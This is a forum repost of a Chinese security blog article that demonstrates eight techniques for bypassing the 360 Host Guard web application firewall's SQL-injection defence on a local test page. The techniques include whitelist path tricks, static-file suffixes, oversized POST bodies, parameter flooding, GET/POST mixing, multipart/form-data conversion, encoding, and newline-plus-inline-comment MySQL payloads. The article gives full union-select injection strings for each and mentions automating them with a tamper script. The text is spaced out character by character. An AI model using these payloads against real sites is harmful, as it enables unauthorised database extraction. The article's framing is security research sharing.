搜索

[862] 2018-05-24_Bypass360主机卫士SQL注入防御（多姿势）

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-16
2018-05-24_Bypass360主机卫士SQL注入防御（多姿势） B y p a s s   3 6 0 主 机 卫 士 S Q L 注 入 防 御 （ 多 姿 势 ） B y p a s s   2 0 1 8 - 0 5 - 2 4 以 下 文 章 来 源 于 信 安 之 路   ， 作 者 B y p a s s 0 x 0 0   前 言 前 言 在 服 务 器 客 户 端 领 域 ， 曾 经 出 现 过 一 款 3 6 0 主 机 卫 士 ， 目 前 已 停 止 更 新 和 维 护 ， 官 网 都 打 不 开 了 ， 但 服 务 器 中 依 然 经 常 可 以 看 到 它 的 身 影 。 从 半 年 前 的 测 试 虚 拟 机 里 面 ， 翻 出 了 3 6 0 主 机 卫 士 A p a c h e 版 的 安 装 包 ， 就 当 做 是 一 个 纪 念 版 吧 。 这 边 主 要 分 享 一 下 几 种 思 路 ， B y p a s s   3 6 0 主 机 卫 士 S Q L 注 入 防 御 。 0 x 0 1   环 境 搭 建 环 境 搭 建 3 6 0 主 机 卫 士 官 网 ： h t t p : / / z h u j i . 3 6 0 . c n 软 件 版 本 ： 3 6 0 主 机 卫 士 A p a c h e   纪 念 版 测 试 环 境 ： p h p S t u d y 本 地 构 造 S Q L 注 入 点 ： 信 安 之 路 信 安 之 路   . 分 享 技 术 ， 分 享 经 验 ， 分 享 知 识 ， 帮 助 他 人 ， 成 就 你 我 ， 信 息 安 全 的 主 场 ！ i d = _ R E Q U E S T [ ' i d ' ] ; q u e r y   =   " S E L E C T   *   F R O M   a d m i n   W H E R E   i d   =   i d   " ;
0 x 0 2   W A F 测 试 测 试 因 z h u j i . 3 6 0 . c n 站 点 已 关 闭 ， 拦 截 界 面 为 空 白 ， 抓 包 先 放 一 张 拦 截 图 ： 姿 势 一 ： 网 站 后 台 白 名 单 姿 势 一 ： 网 站 后 台 白 名 单 在 3 6 0 主 机 卫 士 客 户 端 设 置 中 存 在 默 认 网 站 后 台 白 名 单 ， 如 图 ： 利 用 P H P 中 的 P A T H _ I N F O 问 题 ， 随 便 挑 选 一 个 白 名 单 加 在 后 面 ， 可 成 功 b y p a s s 。 / t e s t . p h p / a d m i n ? i d = 1   u n i o n   s e l e c t   1 , 2 , s c h e m a _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . S C H E M A T A
姿 势 二 ： 静 态 资 源 姿 势 二 ： 静 态 资 源 当 文 件 后 缀 名 为 j s 、 j p g 、 p n g 等 静 态 资 源 后 缀 请 求 ， 类 似 白 名 单 机 制 ， w a f 为 了 检 测 效 率 ， 直 接 略 过 这 样 一 些 静 态 资 源 文 件 名 后 缀 的 请 求 。 姿 势 三 ： 缓 冲 区 溢 出 姿 势 三 ： 缓 冲 区 溢 出 当 P o s t 大 包 时 ， W A F 在 处 理 测 试 向 量 时 超 出 了 其 缓 冲 区 长 度 ， 超 过 检 测 内 容 长 度 将 会 直 接 B y p a s s ， 如 果 正 常 用 户 上 传 一 些 比 较 大 的 文 件 ， W A F 每 个 都 检 测 的 话 ， 性 能 就 会 被 耗 光 。 基 于 这 些 考 虑 ， P O S T   大 包 溢 出 的 思 路 可 成 功 B y p a s s 。 / t e s t . p h p / 1 . p n g ? i d = 1   u n i o n   s e l e c t   1 , 2 , s c h e m a _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . S C H E M A T A / t e s t . p h p P O S T ： i d = 1   a n d   ( s e l e c t   1 ) = ( S e l e c t   0 x A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A
姿 势 四 ： 姿 势 四 ： u r i 参 数 溢 出 参 数 溢 出 这 种 溢 出 的 形 式 ， 我 称 它 为 u r i 参 数 溢 出 。 比 如 某 W A F ， 默 认 情 况 下 只 能 获 取 前 1 0 0 个 参 数 进 行 检 测 ， 当 提 交 第 1 0 1 个 参 数 时 ， 那 么 ， 将 无 法 对 攻 击 者 提 交 的 第 1 0 0 个 以 后 的 参 数 进 行 有 效 安 全 检 测 ， 从 而 绕 过 安 全 防 御 。 经 测 试 ， 当 提 交 的 参 数 个 数 超 过 9 7 个 ， 可 进 行 u n i o n   s e l e c t   查 询 ， 再 增 加 对 关 键 字 f r o m 的 绕 过 ， 可 成 功 B y p a s s 。 姿 势 五 ： 姿 势 五 ： G E T + P O S T h t t p : / / 1 9 2 . 1 6 8 . 2 0 4 . 1 2 8 / t e s t . p h p P O S T ： i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1 & i d = 1     u n i o n   s e l e c t   1 , 2 , s c h e m a _ n a m e   % 0 a / ! f r o m / i n f o r m a t i o n _ s c h e m a . S C H E M A T A
一 个 历 史 久 远 的 逻 辑 问 题 了 ， 当 同 时 提 交 G E T 、 P O S T 请 求 时 ， 进 入 P O S T 逻 辑 ， 而 忽 略 了 G E T 请 求 的 有 害 参 数 输 入 , 可 轻 易 B y p a s s 。 姿 势 六 ： 姿 势 六 ： m u l t i p a r t / f o r m - d a t a 格 式 格 式 将 P o s t 、 G e t 数 据 包 转 为 上 传 m u l t i p a r t / f o r m - d a t a 格 式 数 据 包 ， 利 用 协 议 解 析 的 差 异 ， 从 而 绕 过 S Q L 防 御 。 如 果 转 换 数 据 包 进 行 绕 过 呢 ？ 首 先 ， 新 建 一 个 h t m l 页 面 ： 然 后 ， 在 浏 览 器 打 开 并 在 输 入 框 中 输 入 参 数 ， 抓 包 发 送 到 R e p e a t e r ， 进 一 步 构 造 P a y l o a d 获 取 数 据 。 / t e s t . p h p ? i d = 1   u n i o n   s e l e c t   1 , 2 , s c h e m a _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . S C H E M A T A P O S T ： a a a - - - - - - W e b K i t F o r m B o u n d a r y A C Z o a L J J z U w c 4 h Y M C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " i d " 1   u n i o n   / *   ! s e l e c t * /   1 , 2 , s c h e m a _ n a m e 【 这 里 使 用 E n t e r 换 行 】 f r o m   i n f o r m a t i o n _ s c h e m a . S C H E M A T A - - - - - - W e b K i t F o r m B o u n d a r y A C Z o a L J J z U w c 4 h Y M - - < h t m l > < h e a d > < / h e a d > < b o d y > < f o r m   a c t i o n = " h t t p : / / 1 9 2 . 1 6 8 . 2 0 4 . 1 2 8 / t e s t . p h p "   m e t h o d = " p o s t "   e n c t y p e = " m u l t i p a r t / f o r m - d a t a " > < i n p u t   t y p e = " t e x t "   n a m e = " i d " > < i n p u t   t y p e = " s u b m i t " > < / f o r m > < / b o d y > < / h t m l >
姿 势 七 ： 编 码 绕 过 姿 势 七 ： 编 码 绕 过 客 户 端 对 P a y l o a d 进 行 编 码 ， 服 务 端 能 够 自 动 进 行 解 码 ， 这 时 候 就 考 验 W A F 的 编 码 解 码 能 力 了 ， 如 果 W A F 不 能 进 行 有 效 解 码 还 原 攻 击 向 量 ， 可 能 导 致 绕 过 ， 常 见 编 码 如 常 见 编 码 如 U R L 编 码 、 编 码 、 u n i c o d e 编 码 （ 编 码 （ I I S ） 、 宽 字 节 编 码 等 。 ） 、 宽 字 节 编 码 等 。 这 个 地 方 虽 然 U R L 编 码 也 能 绕 过 获 取 数 据 ， 主 要 是 因 为 W A F 对 P O S T 的 防 御 规 则 太 过 于 松 散 ， u n i o n   s e l e c t   随 便 绕 ， s e l e c t   f r o m 用 % 0 a 就 可 以 解 决 ， 主 要 分 享 一 下 编 码 绕 过 的 思 路 。 姿 势 八 ： 姿 势 八 ： % 0 a + 内 联 注 释 内 联 注 释 利 用 M y s q l 数 据 库 的 一 些 特 性 ， 绕 过 W A F 的 防 御 规 则 ， 最 终 在 数 据 库 中 成 功 执 行 了 S Q L ， 获 取 数 据 。 / t e s t . p h p ? i d = 1 P O S T ： i d = 1   % 5 5 n i o n   % 5 3 e l e c t / *   ! 1 , 2 , s c h e m a _ n a m e   % 0 a F R O M   i n f o r m a t i o n _ s c h e m a . S C H E M A T A *   / h t t p : / / 1 9 2 . 1 6 8 . 2 0 4 . 1 2 8 / t e s t . p h p   P O S T ： i d = 1   u n i o n % 0 a / *   ! 1 2 3 4 5 s e l e c t *   /   1 , 2 , s c h e m a _ n a m e % 0 a / *   ! 1 2 3 4 5 f r o m   * / i n f o r m a t i o n _ s c h e m a . S C H E M A T A
0 x 0 3   自 动 化 自 动 化 B y p a s s 当 测 试 出 绕 过 W A F   S Q L 注 入 防 御 的 技 巧 后 ， 可 通 过 编 写 t a m p e r 脚 本 实 现 自 动 化 注 入 ， 以 姿 势 八 ： % 0 a + 内 联 注 释 为 例 ， 主 要 是 针 对 u n i o n   s e l e c t   f r o m 等 关 键 字 替 换 ， P a y l o a d 中 的 部 分 关 键 字 可 能 会 被 w a f 拦 截 ， 需 要 一 步 步 调 试 ， 测 试 ， 总 结 规 律 。 t a m p e r 脚 本 ： 加 载 t a m p e r 脚 本 ， 可 成 功 获 取 数 据
这 边 也 分 享 一 下 ， 另 一 个 比 较 简 单 的 自 动 化 注 入 的 方 法 ， 就 是 使 用 超 级 S Q L 注 入 工 具 ， 利 用 这 边 提 供 的 注 入 绕 过 模 块 ， 结 合 日 志 中 心 的 测 试 记 录 ， 可 以 很 方 便 的 进 行 调 试 ， 然 后 保 存 绕 过 模 板 ， 方 便 下 次 调 用 。 利 用 前 面 的 关 键 字 符 进 行 替 换 ， 自 动 化 注 入 获 取 数 据 库 数 据 ：
0 x 0 4   E N D 分 享 了 几 种 有 意 思 的 绕 过 思 路 ， 主 要 利 用 了 W A F 层 的 逻 辑 问 题 ， 数 据 库 层 的 一 些 特 性 ， 服 务 器 层 编 码 解 析 、 参 数 获 取 的 差 异 。 其 中 借 鉴 和 学 习 了 不 少 前 辈 们 的 思 路 ， 受 益 匪 浅 ， 学 习 ， 沉 淀 ， 总 结 ， 分 享 ， 周 而 复 始 。 关 于 我 ： 一 个 网 络 安 全 爱 好 者 ， 致 力 于 分 享 原 创 高 质 量 干 货 ， 欢 迎 关 注 我 的 个 人 微 信 公 众 号 ： B y p a s s - - ， 浏 览 更 多 精 彩 文 章 。 喜 欢 这 篇 文 章 的 人 也 喜 欢   ·   ·   ·   ·   ·   · ▶   【 W A F 绕 过 】 B y p a s s   D 盾 _ 防 火 墙 （ 新 版 ） S Q L 注 入 防 御 ▶   【 代 码 审 计 】 S Q L 二 次 编 码 注 入 漏 洞 实 例 （ 附 t a m p e r 脚 本 ） ▶   【 代 码 审 计 】 M I P C M S   远 程 写 入 配 置 文 件 G e t s h e l l ▶   【 代 码 审 计 】 C L T P H P _ v 5 . 5 . 3 前 台 X M L 外 部 实 体 注 入 漏 洞 B y p a s s A b o u t   M e 一 个 网 络 安 全 爱 好 者 ， 对 技 术 有 着 偏 执 狂 一 样 的 追 求 。 致 力 于 分 享 原 创 高 质 量 干 货 ， 包 括 但 不 限 于 ： 渗 透 测 试 、 W A F 绕 过 、 代 码 审 计 、 安 全 运 维 。

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理